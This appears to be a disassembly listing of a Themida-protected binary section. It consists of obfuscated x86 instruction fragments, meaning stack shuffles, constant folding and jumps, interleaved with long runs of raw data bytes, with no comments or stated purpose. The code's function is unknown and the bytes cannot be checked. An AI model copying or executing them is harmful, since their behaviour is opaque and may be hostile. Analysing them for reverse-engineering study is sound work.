		dd 87DE87D3h, 53F781F7h, 0E9D1CEE3h, 0FFFF86F0h, 7E929B7h
		dd 3300003Ch, 248B240Ch, 0F9F76624h, 49D46866h,	24148966h
		dd 0E99C5066h, 0FFFFDF5Ah, 0E9240C8Bh, 0FFFFD1CDh, 0DAACC181h
		dd 85E90127h, 0E9000018h, 0FFFF9484h, 0E9241C8Bh, 0F7Dh
		dd 685FFD89h, 85F471EDh, 5DEB295Bh, 0FF99ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55988D:				; CODE XREF: Themida_:00558FC6j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_551E87
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 8986E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5598AA:				; CODE XREF: Themida_:00552D03j
		add	esi, 4
		jmp	loc_556493
; ---------------------------------------------------------------------------
		db 66h,	0BAh, 3Dh
		dd 0D0296676h, 0FFA259E9h, 1E87BAFFh, 814202AEh, 0AE1E84EAh
		dd 0E9D60102h, 0FFFFCD87h
; ---------------------------------------------------------------------------


loc_5598D4:				; CODE XREF: Themida_:0055C4FBj
		push	14F7h
		mov	[esp], edi
		push	ebx
		jmp	loc_558BD5
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0A5BCFD2Fh, 14E9CF29h, 0BDFFFF99h, 21D3745Dh, 5F1B43B9h
		dd 5DE93111h, 0FC54E956h, 515BFFFFh, 0C67756B9h, 59CE214Bh
		dd 658DBF57h, 0BE5623B0h, 7CC53D26h, 815EF729h,	9A0239EFh
		dd 0E8EF810Dh, 31580D0Fh, 89575FFEh, 0BD14E9F7h, 0E22CFFFFh
		dd 0E204C800h, 4AB35366h, 5B66D828h, 0C1E95159h, 89FFFF92h
		dd 0FD015BDFh, 242C335Fh, 33242C31h, 13E9242Ch,	0B8FFFFCAh
		dd 0FFFFFFFFh, 0FF244729h, 34FF2434h, 0C4815824h, 4, 19EE68h
		dd 240C8900h, 6568E189h, 0E900000Ch, 0C03h
; ---------------------------------------------------------------------------


loc_559984:				; CODE XREF: Themida_:00555AD6j
		add	esp, 4
		and	ebx, edi
		jmp	loc_5560F2
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 0ABh
		dd 495E287Ch, 1F04E9h, 0B2C68100h, 837DA04Bh, 0DEF701EEh
		dd 0EE81E6D1h, 43C826FFh, 0FFEB1FE9h, 4C781FFh,	83000000h
		dd 3C8704C7h, 0B685C24h, 8900005Dh, 0E951241Ch,	2ACAh
		dd 471E3068h, 0E565E912h, 535CFFFFh, 3F8AE9h, 4C48300h
		dd 0FFB95150h, 0B816E16Bh, 1D28C335h, 0C8BC801h, 4C48324h
		dd 0FF94B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5599FD:				; CODE XREF: Themida_:0055B985j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_55C71D
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0F9A0E924h, 5D50FFFFh, 2D02D58h, 0E82960D7h,	0D702D005h
		dd 2434FF60h, 0EAE9535Dh, 83000016h, 0CEE902C4h, 0BFFFFF7Dh
		dd 4C362FA9h, 0FF800FE9h, 52442CFFh, 0CEE99DB2h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559A5B:				; CODE XREF: Themida_:0055781Ej
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 3249720Bh
		xor	esi, 3249720Fh
		add	edi, esi
		pop	esi
		jmp	loc_558DB4
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5A0424h, 248B2404h, 4C48324h, 2404A30Fh, 7D8BE99Ch
		dd 2C81FFFFh, 664424h, 0E9525B4Eh, 0Bh
; ---------------------------------------------------------------------------


loc_559A98:				; CODE XREF: Themida_:0055B796j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_554483
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4E006644h, 0E95AD301h, 0FFFFDE60h, 0D3E94941h, 66FFFFF4h
		dd 5124048Bh, 5B3B68h, 0F505E900h, 0FF5CFFFFh, 7D47E930h
		dd 355EFFFFh, 140926CAh, 9D67E951h, 481FFFFh, 424h, 0C1815900h
		dd 4, 532068h, 241C8900h, 2BBh,	0A2C18100h, 1535508h, 69BF57D9h
		dd 4F5E1F34h, 78E781h, 0D7F7156Ah, 0C7814F47h, 675F090Bh
		dd 0FFA508E9h, 3C8758FFh, 24248B24h, 0C8240481h, 514CD411h
		dd 0F230E9B9h, 244C297Eh, 0A5CFE904h, 489FFFFh,	2414F724h
		dd 582434FFh, 3C8B5457h, 4C48124h, 81000000h, 4C7h, 61906800h
		dd 34890000h, 0A24BE24h, 464E590Fh, 8104EEC1h, 90F09EEEh
		dd 53C78105h, 15B826Ch,	53EF81F7h, 0E95B826Ch, 5EDh, 0E9E08950h
		dd 0FFFFEEB1h
; ---------------------------------------------------------------------------


loc_559B84:				; CODE XREF: Themida_:0055354Dj
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2
		add	ecx, 0E54300Ah
		jmp	loc_5543A6
; ---------------------------------------------------------------------------
		dw 5651h
		dd 956301BEh, 0B850510Bh, 6DD42A88h, 0F708E8C1h, 6C2605D0h
		dd 0D8F72A90h, 108AE9h,	0F3CB8100h, 0C1029364h,	0EB8108EBh
		dd 3FF778h, 0EFE9DF01h,	0B200003Bh, 359DE9F6h, 3ABF0000h
		dd 0E925544Bh, 1999h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebp, 1D965518h
		push	edx
		mov	edx, 4B147B57h
		sub	ebp, edx
		pop	edx
		add	ebp, edi
		add	ebp, 4B147B57h
		add	ebp, 1D965518h
		pop	edi
		jmp	loc_55CB30
; ---------------------------------------------------------------------------
		dd 0F58C328h, 8B66C0B6h, 58E92414h, 81FFFFD4h, 0BF02AFEBh
		dd 0FFD829D9h, 815B2434h, 4C4h,	0FDB95100h, 8143FC1Eh
		dd 9F3FF3F1h, 1487510Ah, 52D2F724h, 42474FFh, 5FAE9h, 4685600h
		dd 5E000000h, 16D3E9h, 246C2900h, 246C8104h, 160CE404h
		dd 9EE95D5Dh, 0FFFFFF7Bh, 34FF2434h, 2434FF24h,	0E9240C8Bh
		dd 265Bh, 240C8B66h, 0FFAE43E9h, 242C89FFh, 34A5BA52h
		dd 0CA812107h, 0F7C249Eh, 0FFF1ABE9h, 1C5E68FFh, 34890000h
		dd 15986824h, 24890000h, 24048324h, 3E685E04h, 89000022h
		dd 4BD242Ch, 81000000h,	0DC6798C6h, 9713E966h, 5A54FFFFh
		dd 1782E9h, 400BE00h, 0F3890000h, 8124348Bh, 4C4h, 0FFD82100h
		dd 81E92434h, 89FFFFFBh, 0E2892414h, 4C281h, 81E90000h
		dd 52000027h, 8E6AC1BAh, 5AD38965h, 8904EC83h, 0AEE9240Ch
		dd 0D1FFFF9Fh, 3AF681EEh, 46661F67h, 1BB8C681h,	0F701AADCh
		dd 4BA525Eh, 0E9000000h, 202Dh
; ---------------------------------------------------------------------------


loc_559D34:				; CODE XREF: Themida_:0055D655j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 79800C96h
		jmp	loc_558719
; ---------------------------------------------------------------------------


loc_559D47:				; CODE XREF: Themida_:00558EFBj
		pop	eax
		sub	edi, 0FF98F97Fh
		jmp	loc_558996
; ---------------------------------------------------------------------------
		db 66h
		dd 9C240429h, 0FF7AB8E9h, 89665CFFh, 0E568241Ch, 8900005Dh
		dd 6EE9240Ch, 29000011h, 240C8BC8h, 5E04C483h, 42Dh, 24048700h
		dd 243C895Ch, 0D03E9h, 46D06800h, 0C890000h, 81E18924h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 8EBF243Ch, 0BA22CA18h
		dd 86E184E3h, 315FFA29h, 0B41EE9D0h, 0BD55FFFFh, 4BE824B0h
		dd 0A847ED81h, 1BE90BDCh, 0FF000039h, 0C8B2434h, 4C48124h
		dd 0E9000000h, 3093h, 8BDA0158h, 0C481241Ch, 4,	8704C283h
		dd 248B2414h, 2434FF24h, 5A2434FFh, 57E18951h, 233AE9h
		dd 16BE5600h, 0E9558FBAh, 0FFFF9F7Ch, 4C481h, 7EE90000h
		dd 0F7FFFFE1h, 8F2EE9DAh, 0C581FFFFh, 2F6668F3h, 1DC0E9h
		dd 4EC8300h, 0E9241489h, 0FFFF93DDh, 5024048Fh,	4B8h, 0DBE4E900h
		dd 5F54FFFFh, 2C7B951h,	81495790h, 0C62A4CC9h, 36C18107h
		dd 0E9A829D5h, 1AD0h, 0E33DE943h, 4BFFFFFh, 1000000h, 0ED835FFDh
		dd 242C8704h, 39CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_559E75:				; CODE XREF: Themida_:0055B041j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55BA5C
; ---------------------------------------------------------------------------
		db 9
		dd 240C8BCAh, 4C481h, 0C2830000h, 6EAC1FFh, 0D981E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559EA2:				; CODE XREF: Themida_:00553CB3j
		add	esp, 4
		pop	edi
		push	edx
		mov	edx, 420A741Ah
		push	eax
		jmp	loc_551888
; ---------------------------------------------------------------------------
		dw 77BBh
		dd 8131115Fh, 8159C6C3h, 0BEF38160h, 81DC4A89h,	2D0547EAh
		dd 81DA296Fh, 2D0547C2h, 0D2F75B6Fh, 0D0685751h, 5F70BD7Fh
		dd 348BE781h, 0E7C17AC3h, 7EB9E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559EEA:				; CODE XREF: Themida_:005547D8j
		mov	ecx, 16B95C00h
		shr	ecx, 8
		jmp	loc_55B9F5
; ---------------------------------------------------------------------------
		db 89h
		dd 0D642E9F5h, 77FFFFFFh, 790FE940h, 0E95AFFFFh, 0FFFFC05Fh
		dd 5C24048Fh, 0E99CC884h, 0FFFF78FDh, 0E904C383h, 0FFFF9BA3h
		dd 0BE56E089h, 2EB6342Fh, 0C6814E46h, 0FFFFFFFFh, 0E2EE681h
		dd 0EE814AE7h, 0AA6042Ah, 206AE9h, 5491BF00h, 0EFD163B3h
		dd 3FD7CF81h, 0B9515DE9h, 7B074704h, 0FFEEC9E9h, 0AEE81FFh
		dd 5763C36Dh, 4B0EFBBFh, 0D7F74F24h, 0EF81DFF7h, 0BD31F0A2h
		dd 15FFE01h, 0B603E9F0h, 0B850FFFFh, 77A37C60h,	3505E0C1h
		dd 0A436B37h, 0AF6C532Dh, 0BA3F2D50h, 8AE9A8AEh, 53FFFF7Fh
		dd 0FFE0E6E9h, 262F68FFh, 4890000h, 786BE924h, 48FFFFFh
		dd 0E5C05C24h, 3ACD8002h, 0E904EDC0h, 0FFFFA9C5h, 2737BE56h
		dd 0E681353Fh, 6A9A122Eh, 35BDE9h, 4C68100h, 0E9000000h
		dd 0FFFFC3F4h
; ---------------------------------------------------------------------------


loc_559FD8:				; CODE XREF: Themida_:0055CF7Fj
		xor	eax, 62BA1365h
		inc	eax
		push	ebp
		mov	ebp, 24BF0220h
		xor	ebp, 731F1385h
		xor	eax, ebp
		pop	ebp
		xor	edx, eax
		jmp	loc_557D68
; ---------------------------------------------------------------------------
		dd 34B35366h, 0D8008504h, 5B66852Ch, 342CD800h,	80F8B652h
		dd 0C6807BE6h, 2CCE800Eh, 0E9C0CE80h, 0FFFFF0B6h
; ---------------------------------------------------------------------------


loc_55A018:				; CODE XREF: Themida_:0055D50Fj
		add	ebp, 4
		jmp	loc_558AFE
; ---------------------------------------------------------------------------
		dd 5026C681h, 6E9635Ah,	81FFFF9Eh, 10042444h, 8B031D42h
		dd 0E955243Ch, 0FFFFABB0h, 34F7815Fh, 53356E23h, 4EC8357h
		dd 0BB241C89h, 3EAA0772h, 4245C31h, 52241C8Bh, 0C281E289h
		dd 4, 3304C283h, 14312414h, 24143324h, 241C8B5Ch, 1B0DE9h
		dd 0C4835800h, 4B85004h, 1000000h, 0FA93E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A086:				; CODE XREF: Themida_:0055D19Dj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552ADE
; ---------------------------------------------------------------------------
aHc		db '^hæ$',0
		dw 8900h
		dd 68572414h, 1A5D7B11h, 0EBEF815Fh, 89194E72h,	199BE9FAh
		dd 0F8680000h, 8900000Dh, 4B82404h, 1000000h, 6BE958C6h
		dd 8900001Ch, 0E3A8E9C6h, 0B60FFFFFh, 87048DC0h, 0FFEA73E9h
		dd 47C758FFh, 4C068624h, 2477FF2Ah, 2947E9h, 24048F00h
		dd 7727E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A0EE:				; CODE XREF: Themida_:0055B63Aj
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4A5B4D36h
		push	eax
		mov	eax, 592F2C49h
		jmp	loc_552CB6
; ---------------------------------------------------------------------------
		db 66h,	89h, 0Ch
		dd 2862B124h, 0E95966C8h, 19DCh, 2128E95Ah, 0C4830000h
		dd 0FFC82104h, 34FF2434h, 240C8B24h, 0E904C483h, 1CCEh
		dd 4BF57h, 0F8010000h, 3575E95Fh, 8B660000h, 83552404h
		dd 248904ECh, 24048124h, 4, 21E9575Dh, 6800003Bh, 7181h
		dd 83242489h, 5F042404h, 0FFF84CE9h, 2434FFFFh,	0EAE2E95Eh
		dd 815DFFFFh, 0F12297E9h, 0A935E93Ch, 0C681FFFFh, 2, 0E9243433h
		dd 0FFFF8CD4h, 0EA6C581h, 0B85007D7h, 5BF41E1Eh, 158C101h
		dd 1EE981E9h, 0E95BF41Eh, 69Fh,	0E7C1E7D1h, 0FCEF8108h
		dd 8903AF39h, 0D003E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A1BA:				; CODE XREF: Themida_:0055514Ej
		mov	ebx, edx
		pop	edx
		mov	ebp, [esp]
		push	5D5Eh
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ecx, ebx
		pop	ebx
		and	eax, ecx
		pop	ecx
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_55C3CA
; ---------------------------------------------------------------------------
		dd 4BA525Fh, 1000000h, 0C7815AD7h, 4, 5C243C87h, 48EB80h
		dd 48C380C3h, 0E9A8EB80h, 2BE7h, 240C8B66h, 53E18951h
		dd 2D36FEBBh, 4E3C13Ch,	6FE46855h, 315DC2D3h, 0FF40E9EBh
		dd 5F59FFFFh, 31240433h, 4332404h, 10E95C24h, 5DFFFFFBh
		dd 0FFCE9BE9h, 87D3F7FFh, 0FEE945EBh, 5AFFFFD2h, 0FF24048Fh
		dd 0C8B2404h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 7D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A271:				; CODE XREF: Themida_:00556CD6j
		mov	ch, 0B7h
		jmp	loc_55D7AB
; ---------------------------------------------------------------------------
		dd 8704C683h, 0F75C2434h, 6AA68F9h, 14890000h, 0E99C5024h
		dd 0FFFF7585h, 67DBE981h, 5B5D7441h, 2C181h, 0FF510000h
		dd 0E9042474h, 0FFFFEBD5h, 772F381h, 0EC813EAAh, 4, 89241489h
		dd 5AD089DAh, 0FFE1BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A2C1:				; CODE XREF: Themida_:00551CCBj
		pop	eax
		add	esp, 4
		add	eax, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		sub	eax, ebp
		jmp	loc_553EE2
; ---------------------------------------------------------------------------
		db 47h,	81h, 0C7h
		dd 1DB642CBh, 0FFCFB7E9h, 5A22B9FFh, 0E9815D77h, 7E5A131Eh
		dd 749CBA52h, 0D10955A2h, 0FFE522E9h, 8BD589FFh, 40E92414h
		dd 87FFFFA4h, 0E95C243Ch, 0FFFF752Fh, 74E0F181h, 8953333Eh
		dd 0C69CE9CBh, 0C681FFFFh, 4, 4B850h, 41E90000h, 57FFFF7Ah
		dd 42474FFh, 24048F5Fh,	4055Ch,	0DDE90000h, 81FFFFFDh
		dd 406974F1h, 1C8B514Eh, 212B6824h, 1C890000h, 1C8B5424h
		dd 4C48124h, 81000000h,	4C3h, 4C38300h,	2474FF53h, 26E95B04h
		dd 59000032h, 148BD701h, 0E7895724h, 4C781h, 0EC810000h
		dd 4, 0FFF681E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A39D:				; CODE XREF: Themida_:0055CEA4j
		shr	esi, 2
		jmp	loc_55BC74
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 8Bh
		dd 6B68240Ch, 0E900006Eh, 283Dh, 377EE95Eh, 0D7310000h
		dd 0E957D2F7h, 0FFFFA02Ah, 92DE829h, 5D6EEF5Dh,	0FF1C4709h
		dd 50582434h, 0EC81E089h, 4, 0BE243489h, 35AE154Ch, 1BF57h
		dd 0FE290000h, 47EE815Fh, 135AE15h, 24348BF0h, 4C481h
		dd 5E90000h, 64FFFFE3h,	0E9028B66h, 0FFFFC7F4h,	31242C33h
		dd 2C33242Ch, 24248B24h, 0E9240C89h, 0FFFF73F5h, 0E9240C8Bh
		dd 2FF9h, 3BF668h, 240C8900h, 50B421B5h, 40E9EC28h, 31FFFFBCh
		dd 0FF78E9FAh, 74FFFFFFh, 0E95A0424h, 0FFFFFAC0h, 24048F66h
		dd 39E56866h, 24048966h, 93E95266h, 0FF000009h,	48B2434h
		dd 4C48324h, 0E904C483h, 0FFFFAD5Fh, 2C281h, 0E9520000h
		dd 0FFFFFFC6h, 9D1C77FFh, 14D35966h, 8AE99C24h,	83FFFF73h
		dd 248904ECh, 24048324h, 0E9505A04h, 272Bh, 8904EC83h
		dd 48B82404h, 551DC04Fh, 276EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A4AD:				; CODE XREF: Themida_:00556E2Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	7D87h
		mov	[esp], ebp
		mov	ebp, 800000h
		push	esi
		mov	esi, ebp
		jmp	loc_55691C
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 6B367DB6h, 6D38C781h, 0E7812921h, 3535414Ch,	23BAC781h
		dd 75E91815h, 87FFFF8Bh, 895C2404h, 0E6892434h,	4C681h
		dd 0BF570000h, 4, 0CE9FE01h, 81FFFFBDh,	78580AEEh, 0E9C60161h
		dd 0FFFFA678h, 54240C89h, 4C18159h, 81000000h, 4ECh, 241C8900h
		dd 34F4E955h, 0FD2D0000h, 0E97B7261h, 0FFFF7D34h, 0C2FB951h
		dd 0C181154Ch, 49D78FE6h, 0FFDF5AE9h, 0AAEA81FFh, 0E911661Fh
		dd 0FFFFEE7Ch
; ---------------------------------------------------------------------------


loc_55A554:				; CODE XREF: Themida_:005522ACj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_553EBD
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 0FFED17E9h, 241C8BFFh, 0FFE5ABE9h, 97BD55FFh, 3165E14Eh
		dd 0DAE95DEBh, 66FFFFAAh, 6EE9F801h, 8900002Eh,	4BE2434h
		dd 1000000h, 807E9F1h, 0C5810000h, 4, 1462E9h, 24248B00h
		dd 24148966h, 0E5045FB6h, 5251F000h, 74B53BB6h,	8080C580h
		dd 0F5282AEDh, 802AC580h, 0C05A80EDh, 0E5C003E5h, 0EB75305h
		dd 0FF844AE9h, 0BD555AFFh, 4, 815DEA01h, 4C2h, 74FF5200h
		dd 0A9E90424h, 0BDFFFFB9h, 266A782Ch, 46E9E901h, 29FFFF8Bh
		dd 0C38159CBh, 5D0D1AE6h, 8B2434FFh, 0C483242Ch, 5CE95604h
		dd 5BFFFF9Ah, 0E959C829h, 7C2h,	4C381h,	0B9510000h, 4
		dd 8759CB01h, 28E9241Ch, 81000018h, 9569DEC5h, 244481CDh
		dd 160CE404h, 0F623E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A642:				; CODE XREF: Themida_:00554693j
		cmp	eax, edx
		jz	loc_55D128
		push	esi
		jmp	loc_55259B
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 15BCh, 4C681h, 0EE830000h, 24348704h, 243C895Ch
		dd 31229CBFh, 0C7814710h, 0EFCEDD67h, 815FFD01h, 4EDh
		dd 242C8700h, 243C895Ch, 4EC81h, 24890000h, 0C447E924h
		dd 0BF57FFFFh, 4, 875FFB01h, 248B241Ch,	0F8F7E924h, 0E300FFFFh
		dd 0E9EB8058h, 66C0B60Fh, 66433C68h, 0E9240489h, 0FFFF91FAh
		dd 0E902C483h, 0FFFFC69Ah, 4AEF814Fh, 81132435h, 0AA5B57EFh
		dd 19F78150h, 68699744h, 2B7h, 52243489h, 0BD1C14BAh, 0B2CA8128h
		dd 81491E0Ch, 0ED0DCCF2h, 18EA8108h, 523BEB48h,	5A2414F7h
		dd 2EA6F281h, 0D689FFE7h, 0E8E6815Ah, 81579A5Eh, 0A2025CEEh
		dd 1C68147h, 81000000h,	0DF7C63C6h, 0E9F731EDh,	344Eh
		dd 665AF028h, 0CA35E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A72E:				; CODE XREF: Themida_:005564B4j
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_551815
; ---------------------------------------------------------------------------
		db 0BDh
		dd 6D334E43h, 575DEF89h, 435D44BFh, 7AEF812Ah, 0F76BBB78h
		dd 0C4C781DFh, 0F74CD41Ah, 48EF81D7h, 89DEE718h, 0FA015FFAh
		dd 0FFD69DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A779:				; CODE XREF: Themida_:00559771j
		add	dword ptr [edi+20h], 2612D0CAh
		or	dword ptr [edi+20h], 61C64103h
		not	dword ptr [edi+20h]
		jmp	loc_551C72
; ---------------------------------------------------------------------------


loc_55A78F:				; CODE XREF: Themida_:0055664Bj
		mov	esi, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		mov	eax, 270EC163h
		sub	esi, 2E477554h
		jmp	loc_55D8FA
; ---------------------------------------------------------------------------
		dd 8B5225BDh, 0EE5CE920h, 8B66FFFFh, 5450240Ch,	0CA3FE958h
		dd 0F868FFFFh, 0E900005Eh, 0FFFFDFA4h, 5DB6BD55h, 0E5C11871h
		dd 0B00E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A7E6:				; CODE XREF: Themida_:00557FDFj
		pop	esp
		add	ebx, 4
		push	eax
		push	ebx
		push	7C31523Eh
		jmp	loc_552E6E
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0B8D4E952h, 0E95BFFFFh, 2C2Ch, 585AF388h, 2246C8Ah
		dd 2245C88h, 241C8B66h,	0FFF222E9h, 240487FFh, 19D0E9h
		dd 81505A00h, 6C552434h, 48B6417h, 8B545724h, 0C483243Ch
		dd 4C78104h, 83000000h,	0DAE904C7h, 8B000009h, 8AE9242Ch
		dd 8FFFFFE8h, 27E92404h, 5FFFFC7h, 32F47F00h, 2DD829h
		dd 5232F47Fh, 0C87C28BAh, 0E9D00176h, 0FFFF7E20h
; ---------------------------------------------------------------------------


loc_55A870:				; CODE XREF: Themida_:005521BBj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	7A17h
		mov	[esp], ecx
		push	ebx
		push	709h
		mov	[esp], ebp
		jmp	loc_556977
; ---------------------------------------------------------------------------
		db 52h
		dd 0DC23E6BAh, 82B85060h, 0F72CDD55h, 739225D0h, 210D0DA7h
		dd 2578D451h, 2D0F3D1Dh, 8C2DD8F7h, 29CA456Fh, 0EAC158C2h
		dd 2CE28103h, 814D6577h, 661738E2h, 4F2813Fh, 0E9080410h
		dd 175Ch, 0AEE9525Ch
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A8DB:				; CODE XREF: Themida_:0055AEB2j
		not	eax
		xor	eax, 5D7163FBh
		neg	eax
		add	eax, 0AA7E4424h
		add	ebp, eax
		pop	eax
		mov	ebx, ebp
		jmp	loc_556315
; ---------------------------------------------------------------------------
		db 89h
		dd 0C3295BD8h, 5624048Bh, 0C681E689h, 4, 4C681h, 34870000h
		dd 7E4CE924h, 0E4C0FFFFh, 7B65202h, 0E915E680h,	1CDh, 502EC780h
		dd 9E0432B0h, 0F4E9C0FEh, 89FFFF6Fh, 685557E2h,	50F44748h
		dd 1FBAE95Dh, 0C2830000h, 24148704h, 0FF8E0BE9h, 1C5F09FFh
		dd 5B2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55BE77
; ---------------------------------------------------------------------------


loc_55A958:				; CODE XREF: Themida_:00558239j
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		push	3B44h
		mov	[esp], eax
		mov	eax, 2
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_554307
; ---------------------------------------------------------------------------
		dd 2434FF5Bh, 0CB80E959h, 405FFFFh, 0E9298D4Dh,	0FFFFC527h
; ---------------------------------------------------------------------------


loc_55A99C:				; CODE XREF: Themida_:005591FFj
		pop	esp
		push	ebx
		push	esi
		mov	esi, 58CC6F24h
		mov	ebx, esi
		pop	esi
		or	ebx, 549D01BFh
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		dec	ebx
		jmp	loc_55856D
; ---------------------------------------------------------------------------
		dd 0F604E6C0h, 0B4EE80DEh, 45AF188h, 28AF04D3h,	2CAF2CC8h
		dd 0AB2C59D3h, 70E90B04h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A9D7:				; CODE XREF: Themida_:005572DFj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_556A82
; ---------------------------------------------------------------------------
		db 5Ch,	87h, 14h
		dd 34FF5C24h, 0AFBDE924h, 487FFFFh, 0FFEBE924h,	0C181FFFFh
		dd 97EE9D48h, 0E959CB29h, 2E1Fh
; ---------------------------------------------------------------------------


loc_55AA08:				; CODE XREF: Themida_:0055B8FAj
		push	7B84h
		jmp	loc_5522A8
; ---------------------------------------------------------------------------
		dw 0E9ACh
		dd 0FFFFB163h, 8AE9C831h, 0FFFFFFEAh, 525E2434h, 9FE9E289h
		dd 88FFFFEBh, 0F28059EAh, 0D3B551E3h, 0F580C5FEh, 77ED806Eh
		dd 0E959EA30h, 0FFFFD778h, 3AE9815Ch, 0E93B699Eh, 0FFFFCE4Fh
		dd 0E95BD831h, 0FFFF706Ch, 24148B66h, 2C481h, 0F5800000h
		dd 8BE83031h, 0C483240Ch, 0FC33004h, 8F66C0B6h,	9AE98704h
		dd 81FFFF6Dh, 0FB2252C6h, 0F2015D1Bh, 0E924348Bh, 43Dh
		dd 1238E955h, 0E9510000h, 0FFFF989Ch, 89241489h, 4C281E2h
		dd 0E9000000h, 0FFFF88F4h, 242C315Dh, 31242C33h, 34FF242Ch
		dd 54535824h, 0FB5AE95Bh, 4BAFFFFh, 1000000h, 2D685AD5h
		dd 0E9000007h, 0FFFFDA58h, 0E95FFB01h, 0FFFF95BDh, 44DAF781h
		dd 0F989B510h, 59CA295Fh, 505AD701h, 0FF824CE9h, 0FEDEF6FFh
		dd 0DFC680CEh, 308FC680h, 21E95AF4h, 5D000006h,	0E904C183h
		dd 776h, 0E4D6858h, 55E90000h, 68FFFFD5h, 768Bh, 0FF838CE9h
		dd 0C2815FFFh, 0FFBEF7E2h, 148BD501h, 0E3895324h, 4C381h
		dd 0C3830000h, 241C8704h, 242C335Ch, 33242C31h,	685C242Ch
		dd 4E2Fh, 0FF7F13E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AB4D:				; CODE XREF: Themida_:005542AAj
		mov	[esp], ax
		push	ebx
		mov	bl, 7Ch
		mov	al, bl
		mov	ebx, [esp]
		jmp	loc_551FD8
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 10DEE9h, 241C8900h, 4E2440BBh, 81DBF71Ch,	0A34C4EE3h
		dd 37EB811Fh, 0C135334Fh, 79E906E3h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB87:				; CODE XREF: Themida_:00557E58j
		xchg	ecx, [esp]
		pop	esp
		div	cx
		jmp	loc_55272A
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 24048F58h,	0E924248Bh, 928h, 50242489h, 4B8h
		dd 24440100h, 0C8E95804h, 87FFFFD0h, 248B242Ch,	4C18124h
		dd 56000000h, 4BEh, 0E9F10100h,	0FFFFB97Eh, 8F5FE981h
		dd 0CF01E10Ch, 83240C8Bh, 19E904C4h, 8B000001h,	0C483243Ch
		dd 15EDE904h, 0B8500000h, 6C9334D6h, 48BC529h, 4C48324h
		dd 0FFAADFE9h, 0C8B66FFh, 35F26824h, 14890000h,	55E28924h
		dd 4D6BF6BDh, 0E9D5F744h, 0FFFF8684h, 0E3C1435Eh, 0BAC38103h
